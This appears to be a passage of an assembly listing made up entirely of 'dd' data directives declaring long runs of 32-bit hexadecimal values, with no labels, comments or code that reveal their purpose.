		dd 0D4BAC14Ah, 8445BA50h, 97085752h, 0CD310D1Dh, 0AC802EEAh
		dd 601B1E78h, 6D55E402h, 0C8805187h, 425F2F09h,	3DB7047Dh
		dd 0EC5A17B0h, 54849FA6h, 5834C04Fh, 3E072968h,	8E558525h
		dd 67DD2DE0h, 0E9020974h, 0FC640E90h, 0B9F28012h, 2C13C0BFh
		dd 56492AE9h, 0D6C81B16h, 49560063h, 2D253A1Ah,	8A2DCCEDh
		dd 397C56E4h, 4D175CC4h, 28C540AFh, 48AB88FFh, 0E1688340h
		dd 0FE58132Eh, 9D4F038Fh, 2F2C7F6Ch, 0DFBD0555h, 0EB42B537h
		dd 0A8A89D5Eh, 5F142F25h, 0DDD912B3h, 5A808E17h, 0FB5FD42h
		dd 32F6C64Fh, 0C88EE4BEh, 7F355063h, 14B505FDh,	0AE51C91Dh
		dd 0C11ABE20h, 0E9E84FECh, 779A0949h, 0EDB9A5DBh, 0C1590701h
		dd 883B07E5h, 68135AF4h, 0A4633A52h, 0BEB363F4h, 28143D09h
		dd 12D48864h, 0A97B582h, 0BFA01388h, 5DDB5BCCh,	0BE02D2DEh
		dd 0E515A78h, 1394FA77h, 0ED421EE9h, 2F73C9Ch, 8915B5BEh
		dd 0EAD280FAh, 795E5055h, 7B6DB82Ch, 9766BE29h,	55FC425Bh
		dd 0CBCB19E9h, 2A315ED1h, 21603CAEh, 270453BFh,	0A5E48E78h
		dd 2BB94DF9h, 51D1ACB5h, 0BC3A5ED9h, 0BE78816h,	7884DAF7h
		dd 64A0B3Eh, 9A835085h,	5AD8124h, 2F78CF21h, 16E86809h
		dd 20BE1C7Fh, 0ACF43444h, 395C4E1Eh, 0B3E4E38Bh, 0B580125Dh
		dd 16FECCBh, 0E95305EDh, 0CA291DB6h, 45DD33DAh,	27A124D6h
		dd 0E9788156h, 0F90B4A4Fh, 57189A3Fh, 892C74E7h, 296A4C0Eh
		dd 0E0F747Eh, 0D9B25F08h, 5B110140h, 576A938Bh,	0E9BCF1FCh
		dd 51BDB375h, 49DDA57Fh, 4861F4FBh, 5FDB4E28h, 817B56E9h
		dd 809CB534h, 0C5CC87E5h, 506CB96h, 50E03FD0h, 20AD1CB5h
		dd 0F79DEF11h, 0EA4A0212h, 80DF73D7h, 42206855h, 62BA1DBAh
		dd 45BDE419h, 0BC7FEE54h
		dd 1AE90AD9h, 8481EC07h, 179800Ch, 0C2403771h, 4B746520h
		dd 3AFEE67Bh, 7DE8CECDh, 29804CC0h, 62FCF031h, 0EAAAA695h
		dd 0B892402Ah, 0F4E4C0Fh, 0E7BB4547h, 2A148E44h, 54C57EFCh
		dd 4924EFF2h, 0ECEC96B1h, 86E69F1Dh, 1BB1D8F2h,	5F496862h
		dd 0DFE93498h, 25AA2B5h, 0AB3F2267h, 0E05B6602h, 0E134EB46h
		dd 0DFDEA520h, 54530B61h, 0E9C19BE5h, 0D549025Dh, 0D02887DDh
		dd 1706BD00h, 16BF188Fh, 0E9510BC2h, 455AC937h,	9DD286D8h
		dd 0D0031E4h, 1FC45F7Eh, 3D4A8B05h, 30EB0FDh, 4829250Ah
		dd 0F3806609h, 50E9146Fh, 0F3773162h, 0DFA9725Eh, 0B1C5D6C1h
		dd 42036ACCh, 8723B252h, 5A015469h, 73FFB002h, 2390CF44h
		dd 0AF329E2Fh, 5D17CBFFh, 7FD1EDB3h, 0CCA75127h, 7AC10457h
		dd 0B630EAC0h, 4462BDC7h, 20B8CC77h, 44AA4E52h,	8A98ED7Dh
		dd 0CEE30E94h, 580F203Ch, 246DF580h, 4EECBDEAh,	1F4FE9ACh
		dd 0E2C1DB03h, 0F7DAE003h, 9708DFD3h, 0ECFC85BAh, 0E8C317D7h
		dd 0D5F2C237h, 422F5DF7h, 7BDE6C8h, 49745ECDh, 304AAB2h
		dd 10B9ABB4h, 0F09D7E62h, 9030843h, 10E18064h, 6468583h
		dd 35F3FB02h, 411E5060h, 61C0422Fh, 970792D2h, 59F73842h
		dd 0E0B1A41Eh, 6A0E972h, 2DE04EBFh, 4C15D031h, 2D52689Fh
		dd 0B5B01FB4h, 0FC801492h, 226FFDEAh, 0D1896416h, 17EB8713h
		dd 0D92DEF8Bh, 249B982Ah, 53816344h, 563FE403h,	0F4589D17h
		dd 2BDF089h, 60CE873Ch,	27622747h, 0D058DF84h, 58BBAC20h
		dd 0ED4FB009h, 1CC20220h, 7E7D0186h, 0E4832A9h,	0BD074270h
		dd 2D3E3C14h, 0ABB863A4h, 6AD95827h, 211DF8E9h,	0B08F3439h
		dd 889405A7h, 4F68BE9Ch, 0B7B23063h, 0C7048099h, 5BF82885h
		dd 0B507628Bh, 0FCB753DCh, 0B14FE922h, 2AA12613h, 5F006968h
		dd 2103E38Bh, 29F59CDh,	7D752DE5h, 5C5EDA6Eh, 318296B6h
		dd 0D6050C3h, 3A1840A7h, 61708903h, 1A028373h, 0B694E559h
		dd 0EA20231h, 0BEBAF375h, 0A8DCF217h, 108E9088h, 52895C2Fh
		dd 0AF2EA685h, 12E5BACDh, 0EBC0137Bh, 9253A3C4h, 93ECE6BBh
		dd 41CB1F98h, 7F807E71h, 254F7230h, 7DE0C13Dh, 6771D9C3h
		dd 0BAB44C5Eh, 0FCAA4F3Bh, 0A788A1A2h, 4D376800h, 2C541897h
		dd 0E4429E56h, 4C444B4Dh, 992020DEh, 80EAD00Bh,	0A9CD0EE2h
		dd 0BF14DDC6h, 860EC349h, 205A665Ah, 0D6B5D34Bh, 9B602C6h
		dd 31D40D52h, 41EB0692h, 826D7B0Eh, 171A3B54h, 5A84A0D6h
		dd 45BDD05h, 6A6841D8h,	0BE9E9813h, 0E819C109h,	0C087F07Bh
		dd 81798E12h, 3573E90Fh, 75EDD9C9h, 41751A62h, 0ED65D49Eh
		dd 0C2A6AC6Fh, 555E7B68h, 0D192A051h, 528250C4h, 5DD66A28h
		dd 0E913F934h, 7F40EE6Ah, 0D4E480A3h, 5EC0CC0h,	60AC4FEh
		dd 8F39E916h, 575B38BFh, 201F6805h, 83051E2Dh, 15676F69h
		dd 7B696B3h, 9E7BE16h, 0DEF72218h, 0F3D73860h, 2932BF12h
		dd 979DA2A8h, 0E10D17FBh, 66A22FDFh, 0F9572CC9h, 4D02492Eh
		dd 7BF9F954h, 680B0124h, 0F09A772Eh, 7DCF6075h,	1229D380h
		dd 0EAD416FDh, 35F7B7C0h, 65C76D8h, 977832E1h, 9090C1Fh
		dd 3764007h, 0D24904FEh, 3008C1F1h, 548831E5h, 0BF02C736h
		dd 0C0AB14CFh, 0B7A7E32Eh, 1BC27E93h, 9394CF50h, 9E527F02h
		dd 0C272BA41h, 5A0F0568h, 0A92F98C9h, 4DD9E122h, 0F997A772h
		dd 31E982F9h, 0EFE1F6BBh, 27DD6F6Bh, 0B29780CFh, 30EAEC36h
		dd 30185592h, 0AE9858E1h, 2B4BA57Bh, 36EE67C5h,	2AF72E5Dh
		dd 4D2B76A4h, 0EF14958Eh, 5504F508h, 0C2973E63h, 2CE672F5h
		dd 596EEF0h, 0A0C8442Fh, 5B475AA1h, 40FB159h, 37F2AA07h
		dd 683F90D6h, 6EE117F7h, 4C940DEDh, 3741133Ch, 0BE1A1372h
		dd 0BC40A7E6h, 0AA4E17F1h, 93C4EB50h, 3459080Bh, 9CE91743h
		dd 3020E514h, 0E74A4A67h, 40AD3B8Ch, 0D25FF7CEh, 1C742EE2h
		dd 3F5958E6h, 0F03007F3h, 0A9C7285Ah, 0CD3101DDh, 0D8C0572Ch
		dd 0F22FE904h, 0F800DC85h, 305BCD2Ch, 197D9DC3h, 759273BCh
		dd 0C5A6EF5Ch, 0DC01FA97h, 39F016EDh, 4FD1AB70h, 0A9EB8EBh
		dd 8271E30Dh, 5F41DC04h, 98E1E8C7h, 6F116Ch, 35D2FDB9h
		dd 609D8934h, 942012E9h, 0ABEC53E8h, 39CD0860h,	2178256Dh
		dd 0E941CC5Eh, 0D22B6538h, 18A240EFh, 8D595456h, 0E27302E9h
		dd 8403FBBCh, 0BF055968h, 40268638h, 6638AC2Ah,	6226F951h
		dd 6DE2A30Eh, 0A77ADC0Dh, 1C94B3D0h, 97677725h,	0FA74E904h
		dd 63749AEh, 0F78B845Ch, 9D9BD731h, 8159E2F2h, 54685902h
		dd 0E9715548h, 850CF8A4h, 0BEBD5F0h, 23156822h,	8A62877h
		dd 0F66782Dh, 79F771D4h, 0E96971F6h, 444AC79Fh,	0EF5B45FCh
		dd 13440B4Fh, 5668AD30h, 0EEC5C665h, 0C35F7758h, 0D879B8A9h
		dd 77B0125Ah, 0CD1DBE58h, 3B58DD91h, 68520251h,	4A07F14h
		dd 8E394150h, 0FC22AE66h, 0C11C0E03h, 0E8764F7Bh, 0D7DDDCCAh
		dd 5A13C266h, 0D1EFE895h, 864C2941h, 8AAEE910h,	53C54EA1h
		dd 0C9961268h, 0EBF6077h, 0FBBB640h, 63C8589Fh,	9CFFD889h
		dd 0E4F29806h, 21712063h, 0EFEFD12Ch, 7EF5B502h, 0B15FC0Bh
		dd 19D7148Bh, 9D8559Fh,	86539D89h, 9C0A93BDh, 768E3420h
		dd 201C7B7Bh, 559F7059h, 7ABEC698h, 0E877D6BAh,	14577925h
		dd 5456121Ah, 4DE3AB5Eh, 17D3BC96h, 0CFE082E9h,	808C0EB7h
		dd 0CF67F8C7h, 0BAABD260h, 55DD305Fh, 0F698BF06h, 0C797539Fh
		dd 0E6562511h, 7D4A90C2h, 0FEF8493Ah, 6670C50Fh, 0F9FD93D7h
		dd 602A0841h, 5AD52916h, 5AEAD69Dh, 282645A2h, 0F5B2D522h
		dd 0C415FBAh, 1F219F21h, 0F185A4ECh, 0F1C21316h, 34C3C089h
		dd 0AD3A9512h, 0CE6ACFC2h, 7F501D69h, 2D0DA536h, 69E0F787h
		dd 4F804327h, 1328F481h, 0A4EDD57h, 659565DBh, 0ECA7815Bh
		dd 37AD79EEh, 9BB21BCFh, 0FBBA28Bh, 46007CABh, 0E317B5CBh
		dd 0F0144D39h, 43A907F0h, 0F3C07497h, 2F7A69B3h, 956C29FBh
		dd 77680500h, 0D1253F3Dh, 0EF4D5063h, 0FBB94A8Eh, 9F5C5C68h
		dd 7E9C2A79h, 0CBF69560h, 34E472A5h, 0E9C73D20h, 2C1AC85Ch
		dd 0E7CFBF8Fh, 0F5E9137Ah, 0C03BF7A1h, 623A6F60h, 0DF4F1C2Dh
		dd 1B44420h, 0AD92449Fh, 710EF709h, 6EDC85A5h, 0A38717FFh
		dd 0F4B5D3CFh, 6980BC6Ah, 0DB62779Ch, 188CE0FDh, 0FEBA806Ch
		dd 205F1C07h, 64D5FA87h, 965000B8h, 0BA450658h,	42D9F71Fh
		dd 35986013h, 0C90FB04h, 0BCEE921Eh, 413F04A9h,	0C0C3796Eh
		dd 5E4209D1h, 0B9E73166h, 1AC15312h, 0EA05EB07h, 0D1CD7340h
		dd 0ED5C0B6Ch, 644FB1E7h, 0F32089F1h, 251CBC7Ah, 92BF9A65h
		dd 3DF85F14h, 0F50F0781h, 0A842E5Eh, 813F071Eh,	8F3D35F1h
		dd 0A77B2132h, 9699505Ah, 785010E0h, 1EFA3B80h,	8FFC296Fh
		dd 0C4CCC7Ch, 5F060C57h, 490E417Dh, 6A868209h, 95F15501h
		dd 2061E941h, 0CAC5AB3Ch, 8207BC0Bh, 59EDB753h,	52B2400Fh
		dd 6BB8D088h, 0B7C1F84Ch, 0C7889B40h, 4C662AE9h, 57F90BE5h
		dd 82575337h, 0EEFEF739h, 0BD5EFA27h, 32DC9960h, 157CF01h
		dd 276855F2h, 9C9857DAh, 872615C6h, 0D5079F32h,	0D46F732Eh
		dd 5E58A2h, 0A17195CDh,	0B598E962h, 0E8208B02h,	2F279566h
		dd 42DE5180h, 0ABF103CFh, 0C1EB5F96h, 40CCC95Fh, 0A43F1F18h
		dd 0F16902B7h, 5045FFBBh, 0B137680Bh, 19ADB973h, 6BA90340h
		dd 729F5FE6h, 52088146h, 0BE18C02Eh, 15400721h,	10DF9744h
		dd 5BB8E937h, 3C90A2CCh, 62B19754h, 6D858B4h, 0BF3BAA63h
		dd 29750BD7h, 559CE977h
		dd 550BD032h, 6E1C3769h, 0E30B07DDh, 0B149E90Ah, 0D4EA0F71h
		dd 0A875A225h, 0BD80261Ah, 0CEFB5697h, 8AE9097Bh, 7398AD6Bh
		dd 0C2A5BE5h, 0E8EE59E4h, 0DF6B3162h, 49285CF5h, 0C1584A5Ch
		dd 0FE0879EAh, 0FE2C0340h, 17A16841h, 40384127h, 0B5315C19h
		dd 75FF7CE4h, 250B6A65h, 6981DE5Bh, 4A601CFFh, 9235BA1Dh
		dd 85B63200h, 0E701BDF7h, 0E9524D40h, 0A9284F87h, 40888501h
		dd 0F8BE75EBh, 0B031A473h, 282F114Dh, 0E7629ADBh, 925FFAB7h
		dd 2364555Ah, 82C8712Dh, 7D06E09Ch, 4184E268h, 458169F4h
		dd 1E1FBC6h, 49366DC2h,	4F910529h, 5007552h, 0CC3F88CFh
		dd 0D90CB42h, 58E31367h, 0C01E0154h, 10D9315h, 0CE3CF9F5h
		dd 0B7A8702Dh, 0E70C3D6Bh, 735C960Bh, 0B9501596h, 7795405Fh
		dd 0F6A414AEh, 5A2BED9h, 0A36B7F94h, 689FA25Fh,	0C0815484h
		dd 629C1DC8h, 2E079298h, 0E95D0E5Ah, 96CE686h, 59EE885Bh
		dd 0F1A2A34Ch, 0E852F655h, 0B1572FDAh, 2D3B5D1Ch, 97FC7C84h
		dd 0D784F8BCh, 83061371h, 9B95597h, 35C8A2A8h, 0F723025Fh
		dd 0DD7A55DEh, 3D6370BDh, 233CF681h, 20318A92h,	4F2BE933h
		dd 0E66844C2h, 1F826C0Fh, 0F5863B69h, 0BDAB844Eh, 0B1F5019Fh
		dd 4D8DE648h, 58740AF1h, 0E8AFD259h, 420B1076h,	9E5FB05Fh
		dd 0BE218F41h, 0A1D0DDFAh, 6C5BA7F8h, 5C96E390h, 0F194E5Eh
		dd 6E38D373h, 85B0C501h, 0D1294A95h, 0DA016222h, 1B530C6h
		dd 2F2668AAh, 36CE2189h, 410C2CC5h, 5A1E2163h, 81FEB28Eh
		dd 69962AAFh, 0DF35DD69h, 7B8AF9BAh, 0EECE5004h, 81EE0953h
		dd 2AB0348h, 1C84575Ah,	3A33A1FCh, 5B7AF0E9h, 0AFBD137Bh
		dd 0FEFCC461h, 9F7EAC3Fh, 0A12D43D3h, 0DD19AC6Eh, 968AA6D6h
		dd 4B7D7824h, 9D1BCD7Fh, 8CCAF68h, 0EF643001h, 25E95640h
		dd 0FC5A5D99h, 7EACF08h, 37022E7Ch, 403C7912h, 483AF3DEh
		dd 0F7005DC3h, 880C2338h, 0D465CBE9h, 35825A84h, 2C655707h
		dd 27DC5916h, 657A8014h, 1E46B980h, 96A24BFBh, 3B9CA14Fh
		dd 1ACCDB44h, 4BD5ED4Bh, 2F22FBC2h, 0E9E05D16h,	669FCD8Ch
		dd 4B51F277h, 90B93677h, 0A6C02798h, 0CE8131C4h, 50637606h
		dd 1F64954Dh, 143155Fh,	0FD045CEEh, 0BE18824Bh,	0C29E99AEh
		dd 9C425D95h, 0BBBAEE5Fh, 55A50D72h, 0D4A4389Bh, 3CCE07FFh
		dd 0EE946713h, 1D86C31Ch, 0E6B02110h, 0C5E4984h, 530BAACh
		dd 2F1FBC7Ah, 2CC14671h, 485F2001h, 0E997816Fh,	0B7127F28h
		dd 0EEE3AC4h, 867E832Bh, 4846D6F7h, 101A044Ch, 0BF271D43h
		dd 14482FFh, 0C15F047Ch, 6B4E8169h, 42EBD935h, 7AE36833h
		dd 0AF9065C6h, 2C78A930h, 131B3BBh, 0E3C151FCh,	0FCEBD108h
		dd 999DF9A6h, 0B07876E8h, 6AD2BD02h, 0D4746958h, 3F41402Fh
		dd 137E8227h, 0B8505500h, 587F12E7h, 3004179h, 0FAC8FB35h
		dd 0F2B589D5h, 15CC9541h, 0DEA23297h, 0BF8139BCh, 0E91E025Fh
		dd 2D16746Ch, 0AD55CBBFh, 0D05F51FEh, 0EB66E916h, 26E49D8Dh
		dd 6C1ABF0Ah, 7B0B3B79h, 0F7655D20h, 5F945DAFh,	1D7F6801h
		dd 4BE93BFEh, 4DDE3BA0h, 0AA4F01B5h, 0C7437B9Dh, 782B7C5Ch
		dd 3B2F13F1h, 45400017h, 1302EC7h, 0C9E9CA0Bh, 484425C5h
		dd 0E8D19740h, 1E091A2Dh, 0EB292E8Eh, 47FA896h,	4EC24684h
		dd 0DCADEA01h, 0C0080665h, 71219FF7h, 0A2573126h, 2751B110h
		dd 0F13A902Bh, 6190BC69h, 29275EF6h, 0BC5D77Ch,	98F1E4B1h
		dd 0B4504083h, 80FBFEF3h, 29B2ED90h, 0EB70C2EAh, 0EA75E27Ah
		dd 49E95870h, 99A82AB3h, 0F83A0B16h, 0AFE9F15Fh, 3431057Eh
		dd 58E4C0EFh, 2C27D904h, 0E843D0C4h, 0A1A04BE9h, 5AAD3E92h
		dd 68700CE6h, 5DB91DBAh, 0DDA28BADh, 0D6BFE5CEh, 0BCE970F5h
		dd 641F87BDh, 928E3237h, 9EAC4285h, 6875E2B0h, 0F0E96416h
		dd 55EEE192h, 0B73D28DEh, 52C24661h, 14540FEh, 0D6F63E5Ah
		dd 2CFF09B1h, 74F96C0Dh, 9B9662ECh, 6531358h, 0D2E95150h
		dd 801E500Dh, 52875DC9h, 0C67036B6h, 7DF088CBh,	62C1285Ah
		dd 7671F7A8h, 4AC1A96Fh, 0F63933ECh, 80F4AC50h,	581FE708h
		dd 0DB2FF780h, 0C33D1EBBh, 0C2FE47F2h, 0A8A10A3Ah, 20FEF7CAh
		dd 0BE5AD73Eh, 8C796CFh, 2FE970F0h, 36BB59DFh, 6D5C21E2h
		dd 614A6884h, 678931BEh, 82C56D31h, 77FEEF0Fh, 2F90E5CEh
		dd 60A17FA0h, 0AF0AC726h, 389F5F02h, 92F258F5h,	0C201091Eh
		dd 47F72A88h, 801248Fh,	8724A0A1h, 775CAA0Bh, 0AB4F9F66h
		dd 0E831CBBDh, 2B06E510h, 0EB9356B9h, 0B81624F2h, 78B5E2C2h
		dd 5349BD30h, 1FEABB53h, 9148077h, 0B6AD60Dh, 3B9B34A6h
		dd 92A5160h, 9F5D8428h,	8105E478h, 322B66F3h, 0E9D91FC0h
		dd 0FEDD2DCFh, 9468DC30h, 0FEBF3F70h, 4DE8DA31h, 962721E9h
		dd 1CCA5FFFh, 6C4704D7h, 27C4DBBCh, 0FA880560h,	1ED33E81h
		dd 0F5F78703h, 452DA93Dh, 0DAC690F2h, 0B0942C16h, 4141BFCBh
		dd 0D03B3A21h, 0F4AEEECCh, 56EAEF05h, 0FAB45E58h, 0AA2F280Eh
		dd 0C40B4B90h, 162DBF08h, 1A08A62Fh, 6272C1FFh,	7FE38BA4h
		dd 405EF861h, 1B5C2FA4h, 388442F3h, 7157BBA9h, 54E961A0h
		dd 0FB902A94h, 4E8E716Dh, 290A0724h, 0AFA0BECAh, 593E465Fh
		dd 0C0CC0EC1h, 0E22BA643h, 47500469h, 80BE710Ch, 0C26A6516h
		dd 62EE8B4Bh, 54A1E7h, 19D6727h, 613E981h, 0EEB8416Bh
		dd 0A4E00436h, 69F6B559h, 68CBCF9Dh, 0E3C47D3Eh, 537EFEFAh
		dd 52AEF34Bh, 70B88E6Fh, 5F155991h, 15F248A0h, 9FBB5102h
		dd 0DFBFBACFh, 514DFFE5h, 0CAF4E904h, 0ED7BD5F7h, 4A606965h
		dd 662D402Ch, 0E0AED91h, 0C849367Dh, 80CB5EBCh,	34BEBC0h
		dd 0F02D7FACh, 55969AD1h, 5E961E28h, 0F777B4D7h, 0D576C069h
		dd 0B9AA8D34h, 4B4657Fh, 0AF7E68E9h, 82E39AF5h,	6993DFD6h
		dd 8E805E16h, 401096B6h, 68BF03BBh, 0D117BC1Fh,	60799D2Bh
		dd 0CB3E2F05h, 57B1FB6Fh, 0C28E5DFDh, 15EB5B32h, 9C69380h
		dd 2D033971h, 66F4462Eh, 6AA6B040h, 0BFA87E73h,	0E5016BD8h
		dd 638B2E38h, 1D3BDD87h, 1CB22481h, 7BF9E097h, 731350C0h
		dd 89A12F30h, 457D22DDh, 8B686155h, 23C3356Fh, 13DCACDCh
		dd 6910D7B8h, 4A8E4DA0h, 0B521B1A4h, 42684001h,	2B995222h
		dd 0D65FFAEAh, 7CCCD8F4h, 0FACCE89Fh, 0ED048238h, 52859229h
		dd 6725D3FDh, 0E86744E9h, 76F4966Dh, 4D7A69B4h,	0EC396070h
		dd 6CC83FDh, 0C9C7B151h, 0F1F11BE1h, 69CEE647h,	0C126288Bh
		dd 0CD170700h, 4BF74D36h, 1920C3DDh, 25CAF94Ch,	9FE3F02Fh
		dd 8E81A1B9h, 56DD58D2h, 0B7C84EAh, 0E1E05A08h,	0F8BCFCE9h
		dd 0E6015426h, 811CEA08h, 56819D4h, 66E942FBh, 2F67C906h
		dd 5A900FAAh, 497131E5h, 516239AFh, 0F951FC77h,	71162E76h
		dd 4BD31FB7h, 0E9F51CE7h, 573A5846h, 6E87BBA4h,	7CBF0CE2h
		dd 2A5251F3h, 0FA803EBDh, 0B970DA4Dh, 9E74C809h, 720FFF1Dh
		dd 5834F9A2h, 85F2CDC0h, 258E041Bh, 6E08E8BAh, 9C5F973Dh
		dd 58E4B58Ah, 0E2AB682Dh, 4ECD5791h, 20096CAFh,	8924F301h
		dd 26426DFAh, 0F9EAA7D0h, 0F152EA75h, 128180FAh, 6634CB2Dh
		dd 48C10E4Bh, 75347180h, 0DF7F27FCh, 0B895E15Fh, 0BF011D3Ch
		dd 0E8FB8CE1h, 0F655CE29h, 0BAFEC96Bh, 5E9889C9h, 3E552D08h
		dd 0E95C5CAAh, 5409407Ah, 4B4D4EB8h, 0AEE64FA1h, 172AB96h
		dd 0A055D96Ah, 0C8D8970Dh, 19280C1Ch, 206EEAB0h, 906876E1h
		dd 1F1A1853h, 3F21865h,	0A6A170E2h, 0CD3101ABh,	0A410CE32h
		dd 442D7F85h, 2DB51BEh
		dd 8A402A08h, 0A8546961h, 0A82B010h, 0C174057h,	5717A25Dh
		dd 1A5A5164h, 9B3B37B1h, 9CBE4E26h, 512CE98Eh, 0D99A8C79h
		dd 9FE8654Ch, 870C8958h, 0A342315Dh, 0BFA00CDAh, 6CEF2A13h
		dd 0F50CC0BEh, 1006D544h, 0C67DE993h, 9B56B5E0h, 0E2DBE9D0h
		dd 88D995FEh, 36D65B8Fh, 83A50CB9h, 827CCA58h, 2B34915Bh
		dd 84A4B7EEh, 47D9232Fh, 0C0FCF2C3h, 4FCF4C28h,	816460FEh
		dd 413483EFh, 0A8EB962Dh, 2DEB5AA5h, 55E76EC3h,	84A27D93h
		dd 4D4E689Ch, 508822BFh, 12723740h, 0A61AA824h,	1935DA01h
		dd 0EBDC4318h, 0C1481749h, 13F2EC32h, 0CA884401h, 61682F58h
		dd 2B9705FAh, 83ED758Ah, 93E7DBA7h, 0C1F6B8D2h,	47EB6849h
		dd 7EB6307Bh, 272D2C71h, 0EF30FD50h, 53D4858h, 1EEE1286h
		dd 84785104h, 5F8AB2EAh, 0D75314EBh, 0C9EABF17h, 1210A4B6h
		dd 0ED32D3AFh, 34C731B9h, 4E5CBEBBh, 0FE6A2E76h, 0D7180B2Fh
		dd 5742EB65h, 0AB5E5554h, 9D62A850h, 6553C18h, 0C92D482h
		dd 0E8D36530h, 48AC5D4Fh, 0A04DB1h, 55B5CB8h, 0C08356D3h
		dd 0E924F001h, 43AA1934h, 18BAF785h, 2CDC8626h,	9465E0Eh
		dd 0B20192F1h, 66EE43D2h, 5801B86Fh, 4EA80BE7h,	652EAF39h
		dd 784958D9h, 26A45DD2h, 80BDB090h, 284CED17h, 12EFF405h
		dd 4E0C98EFh, 0BA60117h, 4D997B01h, 0D2206F47h,	206C123Bh
		dd 44840110h, 0D80D4F12h, 253914E7h, 3BE90B26h,	6567A229h
		dd 0C045770Eh, 885B4124h, 905DC480h, 0E9F20BEEh, 647764F3h
		dd 80515F32h, 42016870h, 24BC496h, 0A377BCh, 0F51B9DBFh
		dd 5C687B0Bh, 9D7C678h,	1D494F38h, 562601F4h, 8219F825h
		dd 61565D8Dh, 4FDCE978h, 1B32BA6Eh, 43D0095Eh, 14920500h
		dd 32252E0Fh, 514B3075h, 17BD560Ah, 2DD0F701h, 0F165D8CCh
		dd 0EC58126Eh, 31AE5A6Ch, 8B0DB3C3h, 5F72516Fh,	7FFAD719h
		dd 3F1393A6h, 0B799BEE8h, 0CC425F3Bh, 4DD4F481h, 0D263D5ECh
		dd 0E9535B0Ch, 8D3A2321h, 47A26F1Dh, 0A545E02Ch, 27A7CDD5h
		dd 0D74A195Dh, 204AD92Ah, 570BA98Dh, 80D169C7h,	151BC991h
		dd 0C0104A2Dh, 2C5040B8h, 0FEBD1790h, 95E906CFh, 0ED5B797Ch
		dd 0DC2A8D4h, 9746FBADh, 4E5BEC01h, 197ACEEAh, 0F135E2CAh
		dd 0E57C2BD8h, 37CEE0DBh, 4F89970Dh, 944FA5Fh, 0F6712B5h
		dd 2397BE80h, 98B81D7Dh, 809B1A2h, 1C681404h, 0CE0A7CCAh
		dd 79C7988h, 87EE8852h,	48541B43h, 514FE62h, 49BF155Ch
		dd 2820FF4Bh, 0FE7799EFh, 0E190976Bh, 0EA0C6493h, 24FA2994h
		dd 693F07C2h, 0CF013A0Fh, 0C008A81Fh, 0F944131Ch, 0E9195D6Dh
		dd 87622173h, 1778806Fh, 0AA287CD3h, 2620EB57h,	0AF57979Ah
		dd 0EDA9446Eh, 938DEB5h, 0D3067105h, 1D080077h,	1426A28h
		dd 0A897E988h, 44840C2h, 0AAF6962Dh, 4C7FBCAh, 980FC1Bh
		dd 54DCF189h, 0FDA38E2h, 87E2AFF2h, 383E982h, 0FCAD1BFCh
		dd 8750ADABh, 9F934820h, 51B75058h, 0B9B4C31Ah,	0CEFE5E4Bh
		dd 0D2B35FD4h, 70927951h, 0C79C425Dh, 0E85F0558h, 0B2F8297Bh
		dd 9C7EBD44h, 10D8EBBh,	48DED520h, 0D4F513ADh, 57B2AE09h
		dd 0F06B9759h, 92F52F22h, 0A88475C6h, 89B810D1h, 6735F5Dh
		dd 59216861h, 26B6E76Ch, 0D152DD0Bh, 862D775h, 190B080Ah
		dd 3B2DF920h, 0B05B44BCh, 0D55E3220h, 16EC14E0h, 0F8703917h
		dd 839E1018h, 0BEE85070h, 9F769733h, 21C275C8h,	0B39CC5E8h
		dd 0FD02A586h, 167D28F2h, 0A2F6147h, 0B8D02A79h, 0F8913413h
		dd 0A1A897E6h, 488C6DB3h, 0FA220C0Ch, 0D4B7EE4Bh, 0BF581333h
		dd 0F797AC03h, 84C89CD7h, 0F86A4A31h, 0B625A157h, 103DB32Ah
		dd 0EF4B01DEh, 0C913659Eh, 1290BDC0h, 14884D82h, 565A2559h
		dd 579DCC52h, 4489A288h, 0E1E3A44Ch, 0BD61D10Fh, 0B8456513h
		dd 0AEFD640Ch, 65D89DBEh, 0A170B520h, 912B5291h, 80E1D920h
		dd 0B05CB57Fh, 0BFE82845h, 413E878h, 0EB372Ch, 44B6521Eh
		dd 0AC73C680h, 0E9F1F602h, 0B9FEDE17h, 1BC568BFh, 0A4D3DB88h
		dd 176FB40Eh, 9D1073BCh, 0E4680905h, 62F0F477h,	3B576253h
		dd 1B3D2F4h, 38C8015Ch,	45BCB53Ah, 0E110FEC9h, 0FC8BB7D3h
		dd 0FB3A99FFh, 627A64BAh, 3177622Dh, 0C83A4909h, 2B812C38h
		dd 0A3D24928h, 0C4FE96EDh, 338E812Bh, 0AF8404B2h, 5454F8AFh
		dd 28FE5274h, 0C31FCD61h, 0AFC1440h, 6AC1E52Dh,	2A88DDFAh
		dd 18C82607h, 6866C8F0h, 0A2211824h, 0DAEBEE17h, 30EB4A09h
		dd 3E08E903h, 0A9A83195h, 0D099C62Bh, 6228D9B5h, 9B527AE9h
		dd 0EC4F9990h, 27E89285h, 0D75BD2B6h, 8EB12012h, 6656D82Ah
		dd 2F421A41h, 0A38461F0h, 8776800h, 394E1697h, 246344E9h
		dd 65B94095h, 0DF5EACD8h, 0CCDE121Ch, 0CA3C0CF3h, 8C86C0F4h
		dd 0DF2980E7h, 77C0AEC9h, 130C5CC7h, 0FF51DE8h,	4676583Ah
		dd 0A204CB64h, 0D45531B8h, 0F597C11Eh, 9271F2F7h, 20F63105h
		dd 0E2D6FCF9h, 5BDC42Fh, 53505100h, 60DFA1B7h, 6800F4D0h
		dd 70495999h, 0DB12F75Bh, 520BEBC1h, 25DE7C4Ah,	9C1D95D7h
		dd 6D0794E9h, 56DB9007h, 6C3DB2D6h, 0FE50535Eh,	74A0B5CAh
		dd 145B0816h, 11E1404Ah, 0BF35852Fh, 0A84ECFE3h, 826AB165h
		dd 561E9C26h, 0C25ED754h, 53F55FC1h, 922C147Fh,	0E2E96181h
		dd 1229BB19h, 2F3379DFh, 0D96CF956h, 0F01886BFh, 1C870AB5h
		dd 0E904F4BDh, 553099DFh, 0AEB18088h, 0EDB15E17h, 7932E280h
		dd 622549CBh, 0BF1B2E2Eh, 7F6A2A0Bh, 64755098h,	2FEBBA80h
		dd 0A8C8A20Ch, 43BAC131h, 71FC981h, 0F497A556h,	0A950A4A0h
		dd 0BB2A50C1h, 80338638h, 0FA5A4EE9h, 0E3C52490h, 40E12D0Dh
		dd 86988D5h, 0D5F75F04h, 3CD1A780h, 0E605481Dh,	29A97E2Dh
		dd 4CAB70D7h, 0BF4B3458h, 0FA0187C1h, 9D2A142h,	5545C855h
		dd 5E680253h, 5B427C2Ah, 8376DE5Fh, 7A720DB4h, 73431EF9h
		dd 964E580Ah, 0A94C70E8h, 47C6EA2Dh, 0F29C74BFh, 7542BB56h
